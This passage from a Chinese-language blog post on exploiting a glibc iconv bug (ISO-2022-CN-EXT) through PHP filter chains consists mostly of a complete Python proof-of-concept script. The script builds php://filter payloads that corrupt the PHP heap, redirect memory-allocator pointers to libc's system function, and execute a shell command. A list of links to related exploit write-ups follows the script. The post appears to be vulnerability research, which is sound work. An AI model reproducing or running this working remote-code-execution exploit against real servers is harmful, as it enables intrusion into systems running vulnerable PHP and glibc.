于是,点击即可跑起来,这里我们演示的是执行一个 ls -alF
的效果。
0x05 内存状态变化图 在整个过程中内存布局变化情况大致如下所示:
0x06 exp exp
来自 cfreal 点击可用。
poc.py
来自 Seebug 也能跑跑了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 import zlibimport base64from pwn import *def p64 (data: int ) -> bytes : return int .to_bytes(data, 8 , "little" ) def compress (data ) -> bytes : """Returns data suitable for `zlib.inflate`. """ return zlib.compress(data, 9 )[2 :-4 ] def qpe (data: bytes ) -> bytes : """Emulates quoted-printable-encode. """ return "" .join(f"={x:02x} " for x in data).upper().encode() def compressed_bucket (data: bytes ) -> bytes : """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000 ) def chunked_chunk (data: bytes , size: int = None ) -> bytes : """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ if size is None : size = len (data) + 8 keep = len (data) + len (b"\n\n" ) size = f"{len (data):x} " .rjust(size - keep, "0" ) return size.encode() + b"\n" + data + b"\n" def chunked_add_bad_data (data: bytes , badData: bytes , totalsize: int )->bytes : ''' php处理dechunk的时候有一个问题,首先判断长度,只处理0-9, A-F, a-f这些字符。 如果判断非这些字符,就会判断为处理长度结束,接着会判断下一个字符是否是\r或者\n,如果不是则跳过。 这让我们可以在长度和\n之间注入其他字符,这些字符有以下要求,开始的值不能为十六进制,中间不能含有\n或者\r。 一个示例: b'00000010........\x00A\x00\x00\x00\x00\x00\x00AAAAAA\n000008\nAAAAAAAA\n\n' 这样往堆的0x10地址注入了0x4100 不过这种方案限制比较大,如果php的_zend_mm_heap地址包含0x0a或者0x0d,就不能用了 ''' dataSize = len (data) chunk = f"{dataSize:x} " .rjust(8 , "0" ) chunk = chunk.encode() + b"." * 8 + badData end = b"\n" + data + b"\n" chunk += b"A" * (totalsize - len (chunk) - len (end)) chunk += end assert len (chunk) == totalsize return chunk def ptr_bucket (*ptrs, size=None ) -> bytes : """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None : assert len (ptrs) * 8 == size bucket = b"" .join(map (p64, ptrs)) bucket = qpe(bucket) return bucket def buildPayload1 () -> str : payload = b"" pages = ( payload ) resource = compress(pages) resource = base64.b64encode(resource) resource = f"data:text/plain;base64,{resource.decode()} " filters = [ "zlib.inflate" , ] filters = "|" .join(filters) path = f"php://filter/read={filters} /resource={resource} " return path def buildPayload2 () -> str : heapSize = 0x100 step1 = b"A" * heapSize step1 = compressed_bucket(step1) pages = ( step1 ) resource = compress(pages) resource = base64.b64encode(resource) resource = f"data:text/plain;base64,{resource.decode()} " filters = [ "zlib.inflate" , "dechunk" , "convert.iconv.latin1.latin1" ] filters = "|" .join(filters) path = f"php://filter/read={filters} /resource={resource} " return path def buildPayload3 () -> str : heapSize = 0x100 step1 = b"A" * 0x10 step1 = chunked_chunk(step1, heapSize) step1 = compressed_bucket(step1) pages = ( step1 ) resource = compress(pages) resource = base64.b64encode(resource) resource = f"data:text/plain;base64,{resource.decode()} " filters = [ "zlib.inflate" , "dechunk" , "convert.iconv.latin1.latin1" , "dechunk" , "convert.iconv.latin1.latin1" ] filters = "|" .join(filters) path = f"php://filter/read={filters} /resource={resource} " return path def buildPayload4 () -> str : ''' 我们把一次处理dechunk + convert.iconv.的过程算一步 ''' heapSize = 0x100 BUG = "劄" .encode("utf-8" ) step1_malloc_step2_free = b"A" * 0x10 step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free) step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize) step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free) step2_malloc_step3_free = b"B" * 0x20 step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize) step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free) step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free) step3_trigger_bug = (0x100 - len (BUG)) * b"\x00" + BUG assert len (step3_trigger_bug) == 0x100 step3_trigger_bug = chunked_chunk(step3_trigger_bug) step3_trigger_bug = chunked_chunk(step3_trigger_bug) step3_trigger_bug = compressed_bucket(step3_trigger_bug) pages = ( step1_malloc_step2_free * 3 + step2_malloc_step3_free * 2 + step3_trigger_bug ) resource = compress(pages) resource = base64.b64encode(resource) resource = f"data:text/plain;base64,{resource.decode()} " filters = [ "zlib.inflate" , "dechunk" , "convert.iconv.latin1.latin1" , "dechunk" , "convert.iconv.latin1.latin1" , "dechunk" , "convert.iconv.UTF-8.ISO-2022-CN-EXT" ] filters = "|" .join(filters) path = f"php://filter/read={filters} /resource={resource} " return path def buildPayload5 () -> str : ''' 我们把一次处理dechunk + convert.iconv.的过程算一步 ''' heapSize = 0x100 BUG = "劄" .encode("utf-8" ) zend_heap_base = 0x7ffff5800040 libc_base = 0x7ffff7aa9000 CMD = "ls -alF" step1_malloc_step2_free = chunked_add_bad_data(b"A" * 8 , p64(zend_heap_base + 0x10 ) * 10 , 0xA0 ) step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize) step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free) step2_malloc_step3_free = b"B" * 0x20 step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize) step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free) step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free) step3_trigger_bug = (0x100 - len (BUG)) * b"\x00" + BUG assert len (step3_trigger_bug) == 0x100 step3_trigger_bug = chunked_chunk(step3_trigger_bug) step3_trigger_bug = chunked_chunk(step3_trigger_bug) step3_trigger_bug = compressed_bucket(step3_trigger_bug) step3_trailer_chunk = b"0\n" .ljust(0x48 , b"\x00" ) + p64(zend_heap_base + 0x10 ) step3_trailer_chunk += b"\x00" * (heapSize - len (step3_trailer_chunk)) step3_trailer_chunk = chunked_chunk(step3_trailer_chunk) step3_trailer_chunk = compressed_bucket(step3_trailer_chunk) step4_write_zend_heap = ptr_bucket( 0x200000 , 0 , 0 , 0 , zend_heap_base + 0x168 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , zend_heap_base, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , size=0x100 , ) step4_write_zend_heap = chunked_chunk(step4_write_zend_heap) step4_write_zend_heap = chunked_chunk(step4_write_zend_heap) step4_write_zend_heap = compressed_bucket(step4_write_zend_heap) LIBC = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6" , checksec=False ) mallocAddr = libc_base + LIBC.symbols["__libc_malloc" ] systemAddr = libc_base + LIBC.symbols["__libc_system" ] reallocAddr = libc_base + LIBC.symbols["__libc_realloc" ] print ("systemAddr: " , hex (systemAddr)) step4_write_custom_heap = ptr_bucket( mallocAddr, systemAddr, reallocAddr, size=0x18 ) step4_write_custom_heap = chunked_chunk(step4_write_custom_heap) step4_write_custom_heap = chunked_chunk(step4_write_custom_heap) step4_write_custom_heap = compressed_bucket(step4_write_custom_heap) step4_use_custom_heap_and_cmd = b"kill -9 $PPID; " + CMD.encode() step4_use_custom_heap_and_cmd = step4_use_custom_heap_and_cmd.ljust(0x140 , b"\x00" ) step4_use_custom_heap_and_cmd = qpe(step4_use_custom_heap_and_cmd) step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd) step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd) step4_use_custom_heap_and_cmd = compressed_bucket(step4_use_custom_heap_and_cmd) pages = ( step4_write_zend_heap * 4 + step4_write_custom_heap + step4_use_custom_heap_and_cmd + step1_malloc_step2_free * 3 + step2_malloc_step3_free * 2 + step3_trigger_bug ) resource = compress(pages) resource = base64.b64encode(resource) resource = f"data:text/plain;base64,{resource.decode()} " filters = [ "zlib.inflate" , "dechunk" , "convert.iconv.latin1.latin1" , "dechunk" , "convert.iconv.latin1.latin1" , "dechunk" , "convert.iconv.UTF-8.ISO-2022-CN-EXT" , "convert.quoted-printable-decode" , "convert.iconv.latin1.latin1" , ] filters = "|" .join(filters) path = f"php://filter/read={filters} /resource={resource} " return path def f (idx ): filename = "tmp" if idx == 1 : path = buildPayload1() filename = "poc1.php" elif idx == 2 : path = buildPayload2() filename = "poc2.php" elif idx == 3 : path = buildPayload3() filename = "poc3.php" elif idx == 4 : path = buildPayload4() filename = "poc4.php" elif idx == 5 : path = buildPayload5() filename = "poc5.php" else : raise Exception(f"invalid idx = {idx} !" ) phpCode = f"""<?php $poc = "{path} "; $data = file_get_contents($poc); var_dump($data); ?>""" with open (filename, "w" ) as f: f.write(phpCode) print (filename, " ====> " , path) if __name__ == "__main__" : for i in range (1 , 6 ): f(i)
0x07 参考连接 最先搜到这个的博客的:https://blog.csdn.net/kjdfklha/article/details/139450835
对简单的利用过程描述还可以的:https://err0r233.github.io/posts/28510.html
大佬的exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
对自己构造环境有理解的:https://www.cnblogs.com/EddieMurphy-blogs/p/18296185
调试过程主要参考:https://cloud.tencent.com/developer/article/2429454
堆管理机制主要参考这个的翻译:https://blog.csdn.net/web22050702/article/details/139502051
原本英文版是这个:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1